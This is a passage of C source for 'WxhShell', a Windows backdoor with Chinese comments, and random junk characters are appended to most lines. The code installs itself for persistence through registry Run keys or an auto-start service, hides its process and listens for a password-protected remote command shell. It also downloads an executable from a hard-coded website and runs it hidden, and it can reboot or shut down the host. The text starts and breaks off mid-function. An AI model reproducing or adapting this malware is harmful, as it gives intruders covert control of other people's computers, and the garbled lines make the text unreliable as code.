!nyUAZ9 :
PROCNTQSIP NtQueryInformationProcess; /d]{ #,k
`=rDB7!$yL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Zma\Ip
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TrmU
_0=$ 2Y^
HANDLE hProcess; zHW}A
`Rz
PROCESS_BASIC_INFORMATION pbi; ,.PmH.zjmR
?ZlN$h^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CAV
Q[r5y
if(NULL == hInst ) return 0; PvB-Cqc
L(i0d[F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JBvP {5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )6,Pmq~)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ncle8=8
C4/p5J
if (!NtQueryInformationProcess) return 0; 34Z$a{
w
8f{;oO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \' ;zD-MX
if(!hProcess) return 0; GJIM^
0I
\l_St@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TNK~ETE4
S#l6=zI7^R
CloseHandle(hProcess); 0xe*\CAo
kmfxk/F}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Bog\m S
if(hProcess==NULL) return 0; GK-__Y.
b_xGCBC
HMODULE hMod; /|z_z%=
char procName[255]; nPo YjQi
unsigned long cbNeeded; r2; )VS
MuCnBx
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9q|36CAO_
@E@5/N6M
CloseHandle(hProcess); j,i>
1|J
t+`>zux5(T
if(strstr(procName,"services")) return 1; // 以服务启动 YR}
P;
@&LtIN#
return 0; // 注册表启动 %44Z7
} WjsE#9D!of
g_F-PT>($
// 主模块 +axpIjI'
int StartWxhshell(LPSTR lpCmdLine) VUE6M\&z>
{ q'~F6$kv5
SOCKET wsl; p{k^)5CR/
BOOL val=TRUE; 3 h~U)mg
int port=0; qz2j55j
struct sockaddr_in door; }m0hq+p^
xh raf1v3\
if(wscfg.ws_autoins) Install(); `L1lGlt
o?\v
8.n
port=atoi(lpCmdLine); &*3O+$L
FeAMt
if(port<=0) port=wscfg.ws_port; =hse2f
$2+(|VG4F
WSADATA data; skRI\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #:6gFfk0<
Kx@;LRY#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1l*O;J9By
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SF2<
door.sin_family = AF_INET; cKbsf^R[e
door.sin_addr.s_addr = inet_addr("127.0.0.1"); eLc@w<yB
door.sin_port = htons(port);
/i
)zoO#tX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xs7xZ$
closesocket(wsl); l9up?opq
return 1; FY6!)/P0I7
} ~\~K,v
mrvPzoF,]
if(listen(wsl,2) == INVALID_SOCKET) { V)g{ Ew]:
closesocket(wsl); 9?~K"+-SI
return 1; 6V@?/B
} ?}g#Mc
Wxhshell(wsl); )]~;Ac^x
WSACleanup(); ~GZpAPg*
!c 3li .
return 0; ELWm>'Q#9
t9yjfyk9W
} P:8P>#L
HD&Ag
// 以NT服务方式启动 d|c>Y(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) onOvE Y|R
{ +GqV9x 8
DWORD status = 0; $NG|z0
DWORD specificError = 0xfffffff; tf+5@Zf]4
37M?m$BL
serviceStatus.dwServiceType = SERVICE_WIN32; jJfV_#'N'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hi(uL>\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +,BJ4``*k
serviceStatus.dwWin32ExitCode = 0; Wk"\aoX"E
serviceStatus.dwServiceSpecificExitCode = 0; _x ;fTW0
serviceStatus.dwCheckPoint = 0; )5(Ko<"
serviceStatus.dwWaitHint = 0; 9q=\_[\[
UPI'O %
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D^%DYp
if (hServiceStatusHandle==0) return; V.k2t$@
XK 09x1r
status = GetLastError(); z8"(Yy7m
if (status!=NO_ERROR) 9?xc3F2EBD
{ \X?GzQkr
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9uL="z$\
serviceStatus.dwCheckPoint = 0; yF#:*Vz>
serviceStatus.dwWaitHint = 0; O]nZr
serviceStatus.dwWin32ExitCode = status; 6+;B2;*3
serviceStatus.dwServiceSpecificExitCode = specificError; JG=U@I]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h+rrmC
return; [,1\>z|&
} 0,x<@.pW
EN!Q]O|
serviceStatus.dwCurrentState = SERVICE_RUNNING; :',Q6j( s
serviceStatus.dwCheckPoint = 0; 7P2?SW^
serviceStatus.dwWaitHint = 0; z2GT9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "7T9d)
} V9"?}cR/W;
b&$sY!iU
// 处理NT服务事件,比如:启动、停止 ~YX!49XfHh
VOID WINAPI NTServiceHandler(DWORD fdwControl) JZS#Q\JN
{ a &89K
switch(fdwControl) cI Byv I-
{ Q]u*Oels
case SERVICE_CONTROL_STOP: %O< qw
serviceStatus.dwWin32ExitCode = 0; jPjFp35;zb
serviceStatus.dwCurrentState = SERVICE_STOPPED; z^q ~|7
serviceStatus.dwCheckPoint = 0; J:q:g*Wi
serviceStatus.dwWaitHint = 0; o|v_+<zD!
{ e{dYLQd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5l&9BS&
} re `B fN
return; u\JYxNj1
case SERVICE_CONTROL_PAUSE: u{-J?t&`
serviceStatus.dwCurrentState = SERVICE_PAUSED; C6 XZZ
break; 'z=QV {ni
case SERVICE_CONTROL_CONTINUE: kdX]Afyj
serviceStatus.dwCurrentState = SERVICE_RUNNING; h!"|Q"18
break; Y`x54_32
case SERVICE_CONTROL_INTERROGATE: jd&kak
break; Ba9le|c5
}; ftqi >^i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'WA]DlO
} 1P'R-I
^@&RJa-kb
// 标准应用程序主函数 oA _,jsD4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %e@Jc3
{ B[]v[q<
dz6i~&
// 获取操作系统版本 Dm"@59x
OsIsNt=GetOsVer(); 22|a~"Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); j^g^=uau
tWNz:V
// 从命令行安装 "Zh6j)[o
if(strpbrk(lpCmdLine,"iI")) Install(); 7%-+7O 3ud
{hr+ENgV
// 下载执行文件 ~t $zypw
if(wscfg.ws_downexe) { 1w)#BYc=L
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gZFtV
WinExec(wscfg.ws_filenam,SW_HIDE); BtyBZ8P;e
} gUoL8~
O~r.sJ}
if(!OsIsNt) { 6%K,3R-d
// 如果时win9x,隐藏进程并且设置为注册表启动 \&&jzU2
HideProc(); ]yxRaW9f
StartWxhshell(lpCmdLine); uKI2KWU?2
} }NQ{S3JW
else _pXy}D
if(StartFromService()) _$+lyea
// 以服务方式启动 Vp;^_,
StartServiceCtrlDispatcher(DispatchTable); X0=#e54
else 9`/\|t|V
// 普通方式启动 BwN65_5p
StartWxhshell(lpCmdLine); IT3xX=|b
X]?qns7
return 0; qL6Rs
} o;+J3\
tFvc~zz9
S$!)Uc\)A
g4 BEo'
=========================================== YQzs0t ,
: -@o3Syg
p/|":(U
+H[GD!
;:nO5VFOg
,[To)x5o
" :nuMakZZ
]j.??'+rg
#include <stdio.h> C F2*W).+
#include <string.h> :%M[|Fj
#include <windows.h> C.r9)#G
#include <winsock2.h> `%lgT+~T
#include <winsvc.h> A$K>:Tt>
#include <urlmon.h> #x"dWi(
qB`zyd8yu
#pragma comment (lib, "Ws2_32.lib") CU3[{a
#pragma comment (lib, "urlmon.lib") x)M=_u2 _
FcnSO0G%
#define MAX_USER 100 // 最大客户端连接数 %4:tRF
#define BUF_SOCK 200 // sock buffer <<@vy{*Hg
#define KEY_BUFF 255 // 输入 buffer 9kcp(
IS;F9{
#define REBOOT 0 // 重启 _ri1RK,
#define SHUTDOWN 1 // 关机 XG
fLi
@D!KFJ
#define DEF_PORT 5000 // 监听端口 gkdd#Nrk
a}3sG_(Y
#define REG_LEN 16 // 注册表键长度 VmLV:"P}^
#define SVC_LEN 80 // NT服务名长度 |A_yr/f
5}3Q}o#
// 从dll定义API krkRP%jy
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !br0s(|
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -(FVTWi0
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `A5^D
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c yq]-B
K'[H`x^
// wxhshell配置信息 j%R}
struct WSCFG { k$nQY
int ws_port; // 监听端口 Ic4>kKh
char ws_passstr[REG_LEN]; // 口令 {6YLiQ*_
int ws_autoins; // 安装标记, 1=yes 0=no pqPhtWi%PJ
char ws_regname[REG_LEN]; // 注册表键名 unqX<6hu
char ws_svcname[REG_LEN]; // 服务名 S_cba(0-|\
char ws_svcdisp[SVC_LEN]; // 服务显示名 [xT2c.2__J
char ws_svcdesc[SVC_LEN]; // 服务描述信息 24_F`" :-=
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W/U&w.$
int ws_downexe; // 下载执行标记, 1=yes 0=no lgTavs
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pb$ep|`u
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;L.@4b[lP
mBgMu@zt)
}; :&Xy#.un
!n4p*<Y6
// default Wxhshell configuration |V{'W-`
|[
struct WSCFG wscfg={DEF_PORT, {.2A+JT,
"xuhuanlingzhe", hA)tad]
1, ckRWVw
"Wxhshell", 1,fjdd8OM;
"Wxhshell", xe[Cuy$P
"WxhShell Service", HXF5fs
"Wrsky Windows CmdShell Service", l+S08IZ
"Please Input Your Password: ", AZ cWf8
1, 8Z%C7
"4O
"http://www.wrsky.com/wxhshell.exe", IGs!SXclCs
"Wxhshell.exe" /)?]vKMiI
}; N ?0T3-/K
M
H }4F
// 消息定义模块 ;bq_Y/"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; weC$\st:D
char *msg_ws_prompt="\n\r? for help\n\r#>"; w~sr2;rp<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iF2/:iP
char *msg_ws_ext="\n\rExit."; jE_a++
char *msg_ws_end="\n\rQuit."; ='<0z?Af
char *msg_ws_boot="\n\rReboot..."; rz0~W6 U
char *msg_ws_poff="\n\rShutdown..."; =if5$jE3
char *msg_ws_down="\n\rSave to "; k0.|%0?K
Y(
n# =
char *msg_ws_err="\n\rErr!"; 3=V79&
char *msg_ws_ok="\n\rOK!"; ~0r:Wcj x
aB~?Y+m
char ExeFile[MAX_PATH]; e"P>b? OY
int nUser = 0; !Y/$I?13Z
HANDLE handles[MAX_USER]; O7b Tu<h=
int OsIsNt; ::N'tcZ^2
>lxhXYp
SERVICE_STATUS serviceStatus; GMRw+z4
SERVICE_STATUS_HANDLE hServiceStatusHandle; .0;Z:x_3
BKe~y
// 函数声明 W\gu"g`u
int Install(void); d(zBd=;
int Uninstall(void); n%? bMDS
int DownloadFile(char *sURL, SOCKET wsh); d4F3!*@(
int Boot(int flag);
?"[b408-
void HideProc(void); 0 3kzS ]g
int GetOsVer(void); 82Dw,Cn
int Wxhshell(SOCKET wsl); 9/TF#
void TalkWithClient(void *cs); %{g<{\@4(;
int CmdShell(SOCKET sock); U=MFNp+
int StartFromService(void); Zo}wzY~x>I
int StartWxhshell(LPSTR lpCmdLine); B$"CoLC7+
`WSm/4m
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &m_4#
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .~qu,q7k~
Q.Tn"rE|
// 数据结构和表定义 JlJy3L8L
SERVICE_TABLE_ENTRY DispatchTable[] = > f,G3Ay
{ l -us j%\
{wscfg.ws_svcname, NTServiceMain}, ~#+ Hhc(
{NULL, NULL} )J#7:s]eo
}; #@Yw]@5M
|GJSAs"L@
// 自我安装 1*<m,.$
int Install(void) 6Pc3 ;X~
{ FB3C'!'<)
char svExeFile[MAX_PATH]; e>\[OwF-x
HKEY key; ;:NW
strcpy(svExeFile,ExeFile); Y S )Q#fP
=NxT9$V
// 如果是win9x系统,修改注册表设为自启动 d[ (KgX9
if(!OsIsNt) { X8aNl"x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dq[X:3i
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ib8@U}Vn1
RegCloseKey(key); K9h{sC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A]^RV{P
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x
TEDC,B
RegCloseKey(key); nS'hdeoW
return 0; `) s]T.-
} [O92JT:li
} R@_i$Df|
} jA9&hbQuL
else { J+tpBPmb
x`/"1]Nf
// 如果是NT以上系统,安装为系统服务 f&x7g. I
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >.^/Z/[.L
if (schSCManager!=0) 4,kdP)Md$
{ @*kQZRGK7
SC_HANDLE schService = CreateService $A"C1)d;
( \=3V]7\&
schSCManager, oqeA15k$
wscfg.ws_svcname, YmXh_bk
wscfg.ws_svcdisp, uR#aO''
SERVICE_ALL_ACCESS, AP*Z0OFE
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3Q'Q %2
SERVICE_AUTO_START, v%8.o%G
SERVICE_ERROR_NORMAL, .;#Wf@V
svExeFile, |/rms`YQ
NULL, 8XFs)1s[
NULL, |Et8FR3[m
NULL, >drG,v0qh
NULL, );X&J:-l+
NULL Ei@w*.3P<
); i}d^a28
if (schService!=0) J${'?!N
{ ;A^Ii>`
CloseServiceHandle(schService); [Aqy%mbG
CloseServiceHandle(schSCManager); O2z{>\
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dV_ClH &)
strcat(svExeFile,wscfg.ws_svcname); /1A3
Sw
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c;X8:Z=ja
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %NH#8#';2
RegCloseKey(key); xLID@9Hbu
return 0; `xb\)
} s.VtmAH
} ,ddoII
CloseServiceHandle(schSCManager); X9ua&T2(l
} 6k569c{7
} S}QvG&c
cOz8YVR-
return 1; =v-qao7xCV
} ANqWY&f
zn!H&!8&
// 自我卸载 >ucVrLm,X
int Uninstall(void) _c[Bjip
{ o|r8x_!+
HKEY key; zVeQKN9^Z
Pn&